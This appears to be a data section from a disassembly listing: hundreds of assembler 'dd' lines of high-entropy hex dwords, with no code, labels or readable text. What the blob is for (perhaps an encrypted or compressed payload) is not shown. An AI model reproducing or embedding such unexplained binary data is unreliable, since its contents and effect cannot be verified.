		dd 9373C9B3h, 3F0D47AAh, 0CCCD935Eh, 7F216E83h,	0C2EC542Dh
		dd 423FDF1Eh, 0C7227ADAh, 58CFCC8Eh, 668091FFh,	0C3B3B19Dh
		dd 0EC593E0Eh, 587330Ch, 39A51B3Bh, 0B6D7E313h,	3670020Fh
		dd 0AC826CA8h, 591C598Eh, 1419CC8Fh, 93401C31h,	0DBAA8BCDh
		dd 39A72C32h, 0A75900A9h
		dd 0B82B266Ch, 73ABA690h, 526CDAAh, 8060A041h, 0E0193AC5h
		dd 69AF1A59h, 0C835557Eh, 0A9FE0D4Dh, 0A8892DA9h, 9A4506A3h
		dd 8793990Dh, 6533A527h, 9308AFB7h, 25F03000h, 0F5556754h
		dd 936113D8h, 0A6C7BDBFh, 5F3375D8h, 4FAAEF8Ah,	78751005h
		dd 8D0D5A54h, 643D9C45h, 4E500B59h, 0F65DC6h, 480B3EC2h
		dd 19393651h, 5224A0CCh, 84BD14D6h, 0D5510C9Ch,	5AC3654Eh
		dd 0B5096DACh, 5C33076h, 1D1BB27Dh, 16C5D6D9h, 0D919ACF5h
		dd 0DA0B215Ch, 0F91795EBh, 527BC638h, 7A12F6D3h, 0CCDFA9ADh
		dd 1B1B16CEh, 23DB2FD9h, 278BEB0Bh, 53BF045h, 0FC9737B3h
		dd 0A11B864Ch, 3B8F5D30h, 10179D2Bh, 432F1707h,	276721F0h
		dd 0B460FAE0h, 35CCEB35h, 76301B34h, 0A4873D13h, 1C3C03A9h
		dd 0AF35BACEh, 51960BA5h, 3BAD1611h, 0BBDA3A61h, 0F7B65D02h
		dd 0FDC24513h, 4D2D3544h, 0FD1A65BBh, 0B396F45Ah, 735B1D78h
		dd 5199A3Ah, 6841FC6Dh,	0A48C2192h, 0F1E30F6h, 61882B23h
		dd 4D6647A8h, 5F912E2Ah, 3807824Ch, 661C2FCFh, 0B3C8D503h
		dd 0D2EB0764h, 0E3446B33h, 0C88168Ch, 1EE30D47h, 191F614Ch
		dd 0C5BB70E3h, 0A4209F61h, 62B0B2CCh, 2A5AC28h,	0BCC3C532h
		dd 1672464Fh, 0BF239DEAh, 0FF45405Ah, 112105AAh, 2A2229C1h
		dd 0AE7841D6h, 273F0627h, 233B6128h, 53BB3BDBh,	0FBFB34E6h
		dd 586967C0h, 7B1BE2AFh, 0F73FFB01h, 62B0C522h,	5FA02AF6h
		dd 6C181BDAh, 1C6DBC76h, 0BB604D04h, 0C96E2809h, 325D360Ch
		dd 9B43EAF9h, 6CED0230h, 47A2FF10h, 0A6B73B2Ah,	23279996h
		dd 23ABF767h, 3CE30E61h, 0F7A45873h, 0AF096C71h, 2D4F0B91h
		dd 446C7F3Bh, 671A80EAh, 0F7A391C8h, 92301441h,	1860F31Dh
		dd 50BB16D9h, 133C0187h, 0F4187707h, 77AE89BAh,	0A47CAB45h
		dd 1C0050D9h, 2CF3ABCFh, 0C5E0281h, 22565EDCh, 85D2DE64h
		dd 5980C9FDh, 5E4F7BE7h, 68A03A67h, 0D6B16D06h,	6D1FB9B4h
		dd 67A67906h, 1752B943h, 92A0743h, 9BFC6C2Ch, 0C22E9B51h
		dd 21DE5418h, 2909B89Bh, 9A561703h, 665690BFh, 9280EC66h
		dd 0F915F024h, 0A604C514h, 0E3634408h, 9E0F7B58h, 0C579199h
		dd 38AB676Ah, 125B054h,	30A207FFh, 1AF728BFh, 405CAD63h
		dd 110CDD33h, 9037DCF0h, 1B251287h, 25D9CF08h, 36410754h
		dd 8EEA8383h, 5483DF04h, 610B8388h, 47A73621h, 0FA3DF7B6h
		dd 361BA736h, 2DBB4F4Fh, 88C8CF02h, 4B9F9F7Ch, 6F759D06h
		dd 56D6D46h, 42A33651h,	1BE2756Eh, 7C01DC43h, 440F8283h
		dd 0D1525BC7h, 39F148BAh, 0DD6D6CABh, 93724362h, 5613EDCDh
		dd 7A151E5Fh, 0DEF96410h, 49DB870Eh, 4DA70B6Dh,	3962084Bh
		dd 1B7571A3h, 3C7C8E24h, 0AF7DBB75h, 0C96616A3h, 0ACA766DEh
		dd 795C3FE3h, 8EAB02F3h, 0CFEC9DCCh, 0D4523967h, 770BA567h
		dd 57CF769Ah, 1C5F927h,	0D115AF83h, 0E77D227Dh,	0F354CF03h
		dd 9C030417h, 0A8846288h, 0B2CBA207h, 0D6CE6154h, 38A8479Fh
		dd 92A925B2h, 1772874Ah, 8416BD33h, 0FA28443Bh,	0B9072206h
		dd 0A82B38C5h, 1015A82Bh, 0C06F660h, 9F213B6Eh,	2BF75F78h
		dd 0A6A8D7A8h, 0F22C2DB3h, 491D7E88h, 0EA899BD3h, 0ED322230h
		dd 0D7B9C40Ch, 5A07233Ah, 24B95A1Fh, 0D87D4F62h, 9182322Ch
		dd 7EF3E778h, 5A82356h,	790F1232h, 11AF11C9h, 2FB816AFh
		dd 790B7C9Ch, 5221A8D3h, 19392C88h, 8F5111CCh, 49E4D9B2h
		dd 6DAF1129h, 7A555A2Dh, 0D96F1BD9h, 35A20A4Fh,	81EE6CBh
		dd 11953F8Ch, 5C2849D6h, 1D8C3620h, 0AEA3D290h,	6FB5B237h
		dd 81DDB26h, 0D7728C3Fh, 0BE47C515h, 56257602h,	0F0888704h
		dd 38133188h, 8233CD09h, 0A8278941h, 0F2391E27h, 97F0CC04h
		dd 0A8377F3Bh, 0DE3C11C0h, 0F016EF05h, 9A4DE077h, 0BB1932FCh
		dd 0CEF07F1Bh, 2F928309h, 793A2FD5h, 0A73641C8h, 0A837A827h
		dd 0E0F60613h, 3F4906D9h, 4B913427h, 0E078411h,	4DB378A5h
		dd 80EC7FCAh, 7E73BEF1h, 0BAB5C698h, 0DCADDEE8h, 97402627h
		dd 8EE30801h, 0A0B0E3D5h, 0F6BD40D0h, 0E125C088h, 5846927h
		dd 0BC64ECB9h, 9D8FDC9Eh, 0A8EC3E5Dh, 0E68C16E0h, 4D0D883h
		dd 91A88591h, 9C830E29h, 781AC81Ch, 516A5F14h, 65106693h
		dd 780B3ACBh, 784F2E09h, 0C36C9CE8h, 0E02C8841h, 604136Fh
		dd 59E40DD8h, 50939541h, 23926E44h, 8179B09Eh, 1191BD0Ah
		dd 5317B51Ah, 82A811FDh, 0AFF11D40h, 0D9810397h, 0AE0CEE32h
		dd 4B9AF484h, 4153C061h, 45876119h, 29BBC58Eh, 400E6A2Eh
		dd 0A766C391h, 6F0C4D96h, 0AD05CB27h, 0E9903F64h, 0CE8A580h
		dd 6F719158h, 67668EC8h, 34BC610Dh, 13E2AE88h, 3B43D922h
		dd 0AC1BBA25h, 751CC356h, 0E043E869h, 0E7C9C3E4h, 0C085AF17h
		dd 6BE9513h, 245048FCh,	540AE89Ah, 0E1270285h, 4E928139h
		dd 13016E9Fh, 3640F364h, 51EF00BBh, 271551E2h, 0AE171CF9h
		dd 7A307A27h, 43676D4Eh, 867A26C3h, 0FA4CEE1Dh,	1BA3E93Ch
		dd 5D8EAE1Bh, 74F95B4Eh, 62653442h, 6E3742C3h, 34730344h
		dd 130AA78h, 0F602E49Ch, 0C1A68303h, 8D353767h,	0B9B40DB8h
		dd 5BBB0517h, 32036834h, 6CD6BF64h, 4B3B7721h, 0D90E4BEAh
		dd 71B84323h, 789CBB23h, 0C6931046h, 3007F8E0h,	41741464h
		dd 81D156E1h, 1393598Bh, 0B1C143F2h, 15285430h,	1DE2537Bh
		dd 0E2C60020h, 0C405962Ch, 7BC2B749h, 12C84EE6h, 0A3B76D27h
		dd 0A19065BDh, 2CC0000Bh, 0B903E264h, 7B5E1F54h, 0C8533B3Ah
		dd 414391C9h, 5565AEA7h, 0F2390646h, 0B45756A7h, 0D059A765h
		dd 1D937C8Ah, 1AEB5D1Fh, 0E8E02033h, 6790E8CFh,	0A7EE13F3h
		dd 0AA12923Bh, 0E4724B02h, 0E08F6790h, 0F774D613h, 274E68D5h
		dd 0EC9F3574h, 84A635h,	72EE0ACFh, 119B965Ah, 4B13C3E6h
		dd 27DF000Ch, 3F0EE113h, 15D6E45Ch, 0C3440774h,	4F8C1BD7h
		dd 0A36F67D8h, 0CF4228BBh, 0C3AE06A0h, 4D580AB0h, 7A50890Ah
		dd 49B73E43h, 0AE6F7454h, 0B5AD9D3Dh, 585C49B1h, 49DE6492h
		dd 9A4B2D10h, 1AE64D2Dh, 67DEF5B2h, 0B32A1C66h,	0BD9BD5F9h
		dd 5861805h, 22C65861h,	5BDC073Ah, 0C00035EEh, 35451B2Bh
		dd 0C26AED56h, 0E453AA1Eh, 0E62C6747h, 2D91C81h, 4AAD1B2Bh
		dd 2B2C0F5Ah, 0A4D84F5Fh, 73BC2E71h, 511057E4h,	5AE7B59h
		dd 3C440873h, 7B6E30EEh, 6F409C2Ch, 7687533Fh, 0B2DB08D9h
		dd 0B3440E0Dh, 75B9BBE3h, 0A8102840h, 80DC9738h, 6F20BED0h
		dd 3934DB2Bh, 0A8A3DF3Eh, 0BA8D9B8Ah, 1BA61191h, 0E424AFF4h
		dd 0EA425076h, 888B025Dh, 0C8D5705h, 0F366D9C8h, 1D214B0Eh
		dd 0B04DF384h, 400239F4h, 752122B9h, 0D4C64F7Bh, 19380865h
		dd 4F470F06h, 45F902EEh, 2BF37622h, 8C82023Fh, 0BF1F672Ch
		dd 2085BFBFh, 0A9540F1Ch, 1D098045h, 34778AC8h,	53009EFFh
		dd 41258097h, 4EAB8E75h, 97A46F52h, 0AB1966BBh,	79393C77h
		dd 0B7B7B746h, 19E42753h, 77929039h, 830BB3B3h,	53B3E42Bh
		dd 0BE8346FAh, 7D7713C7h, 53AE350Eh, 0D3B39A66h, 0BF0DBFDBh
		dd 8A0B7955h, 8F5A1CB7h, 7B675D08h, 9E8F388Ah, 595B238Fh
		dd 6666FE4Eh, 51538B23h, 0E2408BA3h, 0FA8B1951h, 7618365Eh
		dd 70EE43E4h, 6B5F937Ch, 77CC6DF6h, 373D3C4h, 5204C0Ah
		dd 3BAA160Fh, 0C19C826Bh, 0E34ED1B3h, 1E641710h, 344AE473h
		dd 85944448h, 4018A22Eh, 6DA3EB6Dh, 0EB308715h,	976DCCCEh
		dd 20261454h, 4ADD7626h, 0D10CD92Eh, 0E220A72Bh, 0D9E74009h
		dd 7B60A727h, 0E7884516h
		dd 3B68A303h, 714066EBh, 63B542Fh, 2C21178h, 85264052h
		dd 642D0358h, 8260DA4Ah, 6CD13337h, 9BBFED5Eh, 0A0249950h
		dd 8B208B3h, 63A2558Ah,	0EA0A4D01h, 31C4DD0h, 0BF9F1839h
		dd 80930782h, 46800143h, 54836CC0h, 1FBF7804h, 19913D5Fh
		dd 0B87B0B9Bh, 0B03E841Fh, 3941BA2Bh, 62C55B57h, 0D9E8FDA7h
		dd 0BBC8BB18h, 82837081h, 0F6C58B96h, 7200BBC8h, 14521C55h
		dd 3D8C52Bh, 14E75A06h,	4D054497h, 3BCEF839h, 0BFBAC791h
		dd 57463393h, 3EFF9B22h, 498CBB5Bh, 0E4017BE7h,	0A975BB0Eh
		dd 120878Ah, 54661B3Fh,	99A73871h, 7EEE10Eh, 27560428h
		dd 27510564h, 6732B262h, 50C71B06h, 1851AD2Fh, 0C5641964h
		dd 8249B3B3h, 4129444Ah, 4DE020B0h, 0AB564E2Eh,	42F62609h
		dd 623EA127h, 56B38E06h, 741D2CBh, 72FF1F58h, 4BD4D15Dh
		dd 87AD4E53h, 0E2A6C828h, 6987AD90h, 8E6C1E53h,	8712CF00h
		dd 8B805B8Eh, 365009AFh, 0ADD0E8DFh, 0AD2F5AE7h, 414E8C95h
		dd 0E1481681h, 60A458B0h, 65C266D3h, 0F45639B2h, 6F6E739Ch
		dd 36AF6FAFh, 88321BFBh, 73EBBB11h, 29E0DA2h, 32D977B6h
		dd 13EC1331h, 802CFB14h, 0D85D206Fh, 62019E11h,	7232050h
		dd 0FB166D64h, 2F09D819h, 53D5351h, 3537C9BDh, 8D83572Dh
		dd 17559D8Ch, 2A421787h, 0E6684D76h, 16BA1A7Eh,	60FD1093h
		dd 27175F23h, 43474917h, 91B11C2Ch, 474CABEEh, 0D05B50D8h
		dd 0CD568868h, 538BF30Eh, 66CFB3B9h, 0A11B2B32h, 0A077FC4Ch
		dd 0B239B24Ch, 0A9631B23h, 209D81ABh, 6B837C97h, 33E5A317h
		dd 7BCF25C8h, 5567CDBBh, 0B3C9720Ch, 21A87FD5h,	6B705F23h
		dd 6363D88Fh, 6863CB8Eh, 92D05C8Dh, 0C85C801Ah,	0E7277BD9h
		dd 0C9C85C7Bh, 0DF67CAC8h, 0C8C9C867h, 377F2280h, 5C80CC37h
		dd 6F281A7Fh, 0B902CEA8h, 66063B18h, 0E7CF9D1Fh, 6F0B05F6h
		dd 0EFA96FA9h, 0CB38AAA8h, 0A9DB05F2h, 8860B9DEh, 48F5EC99h
		dd 3C4DD9E5h, 19174F23h, 236B97A8h, 8763233Ch, 7BE7336Fh
		dd 9E467905h, 0F7AF1F87h, 19E46F67h, 19A826F9h,	3717FC7h
		dd 625E81Eh, 2C5CA906h,	2341498h, 580B057Fh, 5B72604h
		dd 8A82F65Bh, 838543ABh, 66AC7497h, 6E813B33h, 1D12D41Fh
		dd 8A1498B1h, 917AFE9h,	6C3E700Ch, 2205564Eh, 0AD64661Fh
		dd 0CCDA67ADh, 6E025918h, 8F7847AFh, 821CCC0Ah,	0E91B8719h
		dd 4867982Ch, 83794FA5h, 6F7B35C7h, 53F8B4D9h, 92F01997h
		dd 817F0E93h, 8DC0D5FFh, 3DAC7222h, 0F00D1B91h,	0FCF80426h
		dd 0B9B8BFB8h, 2067DB32h, 3208139Fh, 806343DDh,	0E5C9F747h
		dd 15E6194Dh, 0E3C8EEBh, 0A009DB41h, 51DC2D12h,	0D7E49BCCh
		dd 0DEA74309h, 66744F6Bh, 0D152C019h, 0FB27A503h, 485623Dh
		dd 0D808810Ah, 0ECC105DEh, 2B91156h, 0F030255Bh, 0CC01086h
		dd 860B9DA3h, 5F3F9B08h, 0AF42CCA1h, 2E5305FDh,	9266DE6Eh
		dd 0FC902D14h, 0A3635ADCh, 11ACAF1Eh, 7F452368h, 587DBA25h
		dd 0ECE895C5h, 9A318A1h, 24A31A5Fh, 0DEC1FA54h,	59264319h
		dd 1213503Bh, 68E66B9Ch, 0E34D6200h, 7D8C3341h,	0D89D7627h
		dd 790D80Dh, 0DB6E77B7h, 77A16BA6h, 45A105A3h, 3BC1AC3Bh
		dd 1286CBECh, 8B13E61Ch, 0C2E41949h, 0CC0A5Eh, 0D103B245h
		dd 9E007F39h, 0B651CFBDh, 59187FE2h, 0B3E7D067h, 371A52E3h
		dd 0C2A74786h, 830639D7h, 22AE8F41h, 0EC98A6FFh, 0A6BFF3BDh
		dd 36F7710Bh, 0E057D415h, 9BA65FCDh, 14E876BDh,	5F17078h
		dd 401FB0F7h, 2A753A4h,	2772725Ah, 130BC140h, 7F76C610h
		dd 0E6DE301Bh, 0F6AFD83Eh, 8A333B00h, 464E1EBh,	0F6F34FF5h
		dd 0C47E035Bh, 518DC35Ah, 5B160AD8h, 96F091A1h,	0BA15B7Ch
		dd 0B9D8D999h, 4B4F90E4h, 19B40337h, 0A361A419h, 466F4B4Bh
		dd 4F646426h, 0F04F4B4Fh, 2E7CF202h, 0B1534F4Fh, 149393C9h
		dd 0A2AB4F03h, 9F279271h, 0BCAF170Bh, 0BCAFBCAFh, 50A0A8BEh
		dd 0CFA21E2Dh, 0E2CE562Fh, 0BFE20A50h, 5792BFA2h, 0BFA292F2h
		dd 0B048B3A2h, 43E45F64h, 0E9820325h, 19064659h, 47074343h
		dd 1909919Fh, 0C0474347h, 8E7C8048h, 0A2A3473Ch, 3CF2A2BFh
		dd 4835E4E4h, 0ABA2BFA7h, 320C9704h, 0E454ABABh, 6043BF08h
		dd 0E70F3B2Dh, 0B64EAEA3h, 0BB73B1F7h, 4F4B065Dh, 0C01D47B1h
		dd 2649A0ECh, 0CE617B67h, 0F8A357CEh, 33333F5Bh, 0F7DB26F0h
		dd 279E4E4Bh, 0C25720C8h, 325B5B0Bh, 17CB2321h,	0D15B5F5Fh
		dd 5F33E790h, 0E25F49D4h, 0F61B973Bh, 4431A24Bh, 39B1A6Ah
		dd 0D0A78ADAh, 0F547C1A9h, 43273C5Ch, 3808FEB8h, 67331676h
		dd 9D680D07h, 0EA711E20h, 137EE748h, 70E55C50h,	1AFF7765h
		dd 0D7953EF2h, 7FDA5756h, 0BD2248B8h, 62A2A6C9h, 0F31DA247h
		dd 2A9B9FB3h, 0C4B80658h, 56F7D339h, 0CC414950h, 0DFA3534Ah
		dd 0BC258081h, 83096C2Fh, 14DD2395h, 1123AFABh,	0E9035543h
		dd 8D03A192h, 9C30AC5h,	34E613B5h, 0E296E758h, 1EFAA906h
		dd 48617B17h, 0D5210D45h, 3A804F2h, 655A43D6h, 682866D3h
		dd 55576CACh, 792F661Bh, 73813176h, 0BAD7AFA2h,	2AEC9D84h
		dd 6B450CBFh, 0A3585716h, 38261BC8h, 87658975h,	0E5BAEC22h
		dd 2162C09Ch, 87FFC13Ah, 979FC803h, 3B4B2C27h, 3E0987F3h
		dd 5187C115h, 76A36BF9h, 0FC9BA257h, 3104378h, 0CC07A367h
		dd 0DD98CC6h, 0B9E13303h, 730F21Ch, 6B4EA367h, 9B9FB2A3h
		dd 63F0D2Dh, 0B22F2EB8h, 0EC78693h, 486F8F9Eh, 156F653Dh
		dd 7B27136Bh, 47277D13h, 94E4246Eh, 69260C27h, 626BA36Bh
		dd 217E4259h, 169111ACh, 0E6C3196h, 4DEE8855h, 0A25FD436h
		dd 8A25BBFh, 0DFDEDE34h, 6A5C067Bh, 0F6A5713h, 527BDEF7h
		dd 7787C979h, 0A36FBD31h, 558687CFh, 0BB11D8F5h, 0F6AE473Bh
		dd 16C0E70Eh, 4615D402h, 1B643B0Bh, 1777692Dh, 91BE4A64h
		dd 0F3681371h, 432390F3h, 0F340AC72h, 64C740BBh, 168226C7h
		dd 6F4FA3D8h, 98C23448h, 5A5517F0h, 7A4B6A03h, 393084B1h
		dd 1D0F30D0h, 870FC979h, 0E6BA2E56h, 8B5B03DEh,	2B731806h
		dd 4DD317C3h, 0AEA3239Eh, 0C03A1A68h, 6FC80D96h, 4B16DE73h
		dd 5AEC3D9Ah, 125B39DEh, 4EF41D48h, 212253C3h, 41BD1167h
		dd 2746B0h, 164E348Fh, 190ECAB5h, 26F50395h, 26817B2Fh
		dd 5CF580B7h, 8725E42Fh, 87CF11B0h, 9361411Eh, 87CF9C97h
		dd 0C9384165h, 475EB281h, 80DB1141h, 79340784h,	538A2831h
		dd 9D0196C9h, 74A04224h, 0B3C0C269h, 0E5BA1532h, 1751E973h
		dd 0BA206806h, 0B90BF056h, 0BA524903h, 0BFA05521h, 3A1D81B3h
		dd 0D1A9BEA6h, 0E0424E4Bh, 29E3801Fh, 268C7232h, 6F954FE4h
		dd 2F11A87Bh, 87973B50h, 4C204354h, 0EACF6E08h,	349353ABh
		dd 436E4A6Dh, 214E4721h, 86FB5710h, 0EA0DC976h,	39F61DA7h
		dd 8C87DA69h, 2DBED808h, 0BE43856Bh, 0DB662139h, 41835A04h
		dd 0D5F9278Bh, 62A91B03h, 5C975C86h, 2201904Dh,	27A899C8h
		dd 6632727h, 17AFABA7h,	7AFCEF05h, 0A917BD22h, 48CA06h
		dd 0C005CEAFh, 4E031D0h, 153C888h, 62282F14h, 0EC88EC1Bh
		dd 87452F66h, 7F191285h, 0DF6040D0h, 73F80117h,	21933B52h
		dd 38CDF21Ch, 20C342ECh, 0C83E7ABh, 0AFCD80C8h,	0B3B5E2BAh
		dd 0A86F33B9h, 0CF062713h, 8690F206h, 6F378527h, 0D9C53BA9h
		dd 7413A926h, 0E7921C3Eh, 0A7520F02h, 0AA5CF4A8h, 0A8B7A395h
		dd 60DB9E13h, 8643C15h,	0CB7DA96Fh, 0A75CF2C8h,	4FAB76A8h
		dd 8ECB91AFh, 0A91BB238h
		dd 882E691Eh, 5688B982h, 9982561Bh, 0A96BC92Fh,	64436F0Bh
		dd 1EF90192h, 58A76767h, 63390192h, 64999363h, 7F3DBE40h
		dd 64C1A37Fh, 1E7B0EC0h, 0D919197Bh, 67059166h,	829A7F63h
		dd 9FDC110Fh, 0AC1F5686h, 47E767Ah, 3EDFAC24h, 53917F6Ah
		dd 5E68AF48h, 5A521201h, 8FC879B2h, 3B083385h, 23D02A64h
		dd 0B3827903h, 7B0D55EAh, 0D00FDAAh, 2AA2CF11h,	4F0763A6h
		dd 67B27B64h, 2A672742h, 2B57D22Fh, 58324B73h, 2C0E279Bh
		dd 0B1939474h, 3DCC602Ah, 0F45629CBh, 9F4EBC54h, 18ABEA45h
		dd 2A48AFF6h, 0D0AED9A5h, 520CB1ECh, 771F4F21h,	315F74C0h
		dd 0AC1DBBECh, 213BFC24h, 9A42E651h, 7F840B93h,	6790B915h
		dd 599F5092h, 9CD92C77h, 8B4357A4h, 5F0DADBBh, 0EB3E1002h
		dd 196A4AEBh, 8A3B5839h, 50F8D05Fh, 0D7BABF0Dh,	94F24E61h
		dd 0C358E558h, 0F88018A7h, 0DED0226Dh, 927009DEh, 57401420h
		dd 9A39070Fh, 73CC3F36h, 0BFBFE7E7h, 164DEBAh, 2A4F4CB8h
		dd 0B915AE55h, 0D4755048h, 86335DBEh, 0C936380h, 0BDFF406Fh
		dd 0E4963229h, 0E7BDFFC9h, 1D134CBCh, 7F0CC021h, 2BCEBF9h
		dd 0AFF27B18h, 0F94357Ch, 0C93B9A51h, 0BDFF4685h, 2E14EFD6h
		dd 0C178084Bh, 5C4562Ch, 67604E4Eh, 2997658Bh, 545B2621h
		dd 8E47E331h, 0B3187780h, 24320A21h, 1A7D7D87h,	56CB0603h
		dd 8332370Fh, 73ED20Ch,	426DBC83h, 0BAB73E7Ch, 29CFBA8Bh
		dd 0C10D9188h, 0BF4DBAA3h, 63C38ABAh, 0B890BE6Ch, 0D3E3274Ch
		dd 0A432DFF6h, 5F0ADCA2h, 0F727BDE7h, 0E6F26D9Dh, 13CF1DBDh
		dd 0E1AF08CEh, 27380A99h, 64053ED2h, 0C0E80F7Bh, 240FADB0h
		dd 525E013h, 0B76973BCh, 0C00C1D27h, 7FBBDCC3h,	0C0595026h
		dd 0DB9B9072h, 5F0DCB13h, 0BC9ABC9Bh, 79E46461h, 0DD34BC9Bh
		dd 0C3D971D8h, 0F73016CCh, 445AED1Fh, 0CC06C218h, 437B3EFBh
		dd 0B1D86002h, 781B9049h, 0E8FEBB07h, 0FDB38A9Dh, 0A816A173h
		dd 35856689h, 0B85A5E08h, 0C29DEA67h, 0D47590Dh, 38028E11h
		dd 0EA22D34Bh, 7A752895h, 87B11A0Ch, 5B5114D6h,	0BBBB05D8h
		dd 28FEC451h, 37689278h, 1AAC2026h, 0E37B064h, 0BB932BD9h
		dd 8B3A57h, 3DD66CA7h, 0F5AC6D34h, 223AF66h, 0B0A45BC3h
		dd 746E2A7Ah, 0ABA0B23Bh, 503B5255h, 7CF66A21h,	45BED1CFh
		dd 0A674611Dh, 0D311822Eh, 0DB2091A8h, 90C93B0Eh, 98AD895Fh
		dd 10024835h, 0D1AC034h, 3F034380h, 0C853963Fh,	26336472h
		dd 18AFCBF5h, 0BABB2579h, 0EF50FF21h, 78C94E3Dh, 0AAF0CE05h
		dd 7AB1348Ah, 8907228Ch, 0B51BB00Fh, 55B51BECh,	6F6613Dh
		dd 0B20190Ch, 0CC441467h, 5F8B10B9h, 64F61721h,	7E539510h
		dd 0D613591Ch, 716D3206h, 0E4597D1Bh, 0DEB8D82Ch, 87DA6C7Bh
		dd 1B0B9C27h, 1E984B3Fh, 6CEA227Bh, 1820DE18h, 0D411EC84h
		dd 0CF2F2C0Bh, 2D816312h, 0F62C4C0Fh, 32E26C3Dh, 7F133B06h
		dd 0C07D89D3h, 22BD704h, 29F35E03h, 4FB950F8h, 0B51FFF21h
		dd 0CEC2649Ch, 3432346h, 61C101B4h, 80BF0AF2h, 0F246C10h
		dd 6AC7DB23h, 10622C34h, 5ABB0B27h, 453E882Ch, 511A8855h
		dd 35E803AFh, 0A78F2EBh, 7D882B59h, 4609D83Ch, 5820B32Ah
		dd 7547B0ECh, 0D496FF39h, 0E26D59ECh, 12BB43Ch,	9590957Bh
		dd 0F24C5B74h, 6D1BB5A3h, 0BB030F32h, 0E117B936h, 154CC340h
		dd 857241ABh, 6F3D749Ch, 0AA359EE6h, 2C565F8Bh,	0C0407057h
		dd 0BA1C6371h, 0D46BA8FCh, 461C889Bh, 0B8B1A162h, 7640CB3h
		dd 0F8544971h, 1E57896Eh, 549512C8h, 0B95640C7h, 80600449h
		dd 9EA802Dh, 57F9C3E0h,	0CB9A6552h, 0EDA7A768h,	71630344h
		dd 35BA1A7h, 1E026C40h,	515BAA19h, 157224Bh, 2387150Bh
		dd 0A25C8928h, 3A2B204Eh, 7DCB4A0Ch, 960043CEh,	6B57352Fh
		dd 61888CB4h, 81B2121Eh, 2E32D450h, 0E426ABDDh,	328C1364h
		dd 0FD9B597Dh, 500A8666h, 1A18E957h, 0C979804Ch, 3E50A740h
		dd 0A204D922h, 0C591608Dh, 4F3C2830h, 0BC15300Eh, 95671372h
		dd 43BE762Ch, 23D89C0Ch, 40C0D6CCh, 0D626D66Dh,	0E44520C8h
		dd 68CB0A98h, 54F217C3h, 8FEB3B6Ah, 50F5AD41h, 8A4117DCh
		dd 7BA76B0Eh, 2470CDC1h, 4207662Ah, 0BA890305h,	7F009B66h
		dd 12391F0Ah, 7E7DF51Bh, 588EE37Ch, 5051BDF7h, 22F473D8h
		dd 8BC5B907h, 6BD8BBDh,	0AF5BE030h, 569205CAh, 0DC5B96BBh
		dd 0B7AAB3A2h, 4CAB103Dh, 0EB8BF33Dh, 0A05BE43h, 82A45008h
		dd 772E762Dh, 41BB3E37h, 8E77AD80h, 799704A5h, 0FE95A5ACh
		dd 8A6CD8BEh, 7FD3CCCAh, 2ABB953Bh, 61E40FCFh, 0A40DBF8Fh
		dd 0EBD73FD0h, 0BB3E80DEh, 63F0FD4Ah, 95C10BFh,	0E79E7CD3h
		dd 0A86B5667h, 0CF206FC9h, 0B33E028Ah, 141782BDh, 4E12EC08h
		dd 888C7376h, 0D3BA52B3h, 80BB2F53h, 0F6CC1DF7h, 0D5FCE12h
		dd 30E1B07h, 0DDBDEAE6h, 0CC408005h, 23B30041h,	0CC2811B8h
		dd 9CD91B35h, 127EBD8Ch, 8A295751h, 232E59C8h, 0CC2F8BB0h
		dd 243F0C2Eh, 57FBBBC6h, 0D3850C13h, 2CBE47F7h,	0FC433851h
		dd 2ACF3F4h, 0BB3A30E5h, 73087B48h, 8F143C3Bh, 0BCB706ABh
		dd 0CD50E16h, 37027533h, 2FCEEB5Fh, 0EAB96D6Bh,	4A23B268h
		dd 0D48D9C15h, 0E0F95526h, 86CE470Eh, 9C07BAAFh, 5B8EFDCAh
		dd 0FD013F3Eh, 0B7F91F22h, 0FCB806BCh, 271637ABh, 0F0A3BB38h
		dd 91781157h, 0ADBA738Dh, 0EE058F1Bh, 1E28FCD7h, 635ABD8Fh
		dd 80A1FBAh, 9966C9DCh,	602DD73Ch, 0FDDD1408h, 70CF3B01h
		dd 50904B3Bh, 0F21BEF90h, 3AAD9B07h, 8AC72161h,	61392C17h
		dd 3EF8FC44h, 3B42BD03h, 19E72507h, 43403ADCh, 9FE4EAA8h
		dd 61322810h, 76AC9097h, 0AD91917Fh, 0EF055504h, 919191EBh
		dd 0FFE3E791h, 919191FBh, 0CFF3F791h, 919B6CCBh, 0DFC3C791h
		dd 0DB259F9Fh, 8C8C8C8Ch, 2B2FD3D7h, 8C8B2F08h,	6E020027h
		dd 5EFBF64Fh, 5D771FEAh, 0BBAD247h, 52D6047Eh, 808DB717h
		dd 0DFBF2038h, 0B2D80C97h, 0A286DD63h, 9003D1D8h, 3F4D235Fh
		dd 23242DFCh, 0D800003Bh, 58477717h, 4EDBA0AAh,	0B4352D1h
		dd 0A20AC55Fh, 7A25FDBh, 6E95BB5Bh, 5081112Bh, 6E07190Fh
		dd 15FFF817h, 8882BA82h, 8B82B982h, 0A48E9A58h,	37A41BA0h
		dd 0DBBF76E7h, 4304C23Dh, 5D218250h, 5B242468h,	0BA6E2807h
		dd 5B2576EDh, 48430578h, 5B074711h, 7789A45Fh, 0A9B7ED60h
		dd 85389D0h, 57FA791h, 3348DE80h, 43474B48h, 33318A8Bh
		dd 8007E8D6h, 9E4780E1h, 643336FDh, 9B39A380h, 0DEB5A4C4h
		dd 838334DEh, 255F5443h, 0D84C1D52h, 32430D95h,	172F0B2h
		dd 5B043337h, 5F09F7Bh,	3AC6000h, 6514472Eh, 87D0A9A5h
		dd 8BAD759Dh, 74DA1389h, 0BD4B1B4Fh, 4F25CCC3h,	0D93F4BB6h
		dd 0B69320D8h, 7198B43h, 19A464D4h, 82B882FBh, 0A288B68Ah
		dd 9906414Fh, 43474B64h, 0E10F6323h, 3254261Ch,	0FC10C0Dh
		dd 2323230Bh, 3070563h,	23231B1Fh, 13172323h, 23086B6Fh
		dd 63672323h, 0C198097Bh, 3977C8D2h, 0B8123758h, 5D7060EDh
		dd 0A3FDA16h, 481A03DEh, 0AB3F6308h, 7270731h, 0CF177093h
		dd 0F12537BBh, 5530D70h, 748276A7h, 0FE07B774h,	15F06DEh
		dd 278E833Bh, 622F1142h, 4B6B051Ch, 5B1454D1h, 0EF65F1Dh
		dd 9B14BD68h, 0D6285B67h, 2A3D0DA5h, 8E8180F7h,	7B619B57h
		dd 0AAA30555h, 0C9805FB7h, 52576616h, 0A093815Fh, 0F68B87E4h
		dd 0BB96635Dh, 0EB02D441h, 0BD7F6420h, 0DB9D1BDh, 0A24557B8h
		dd 0DA2E35D0h, 0FE2E5715h
		dd 94C6FEF6h, 5221E755h, 5E275B0Eh, 53772FD3h, 0B18E73B7h
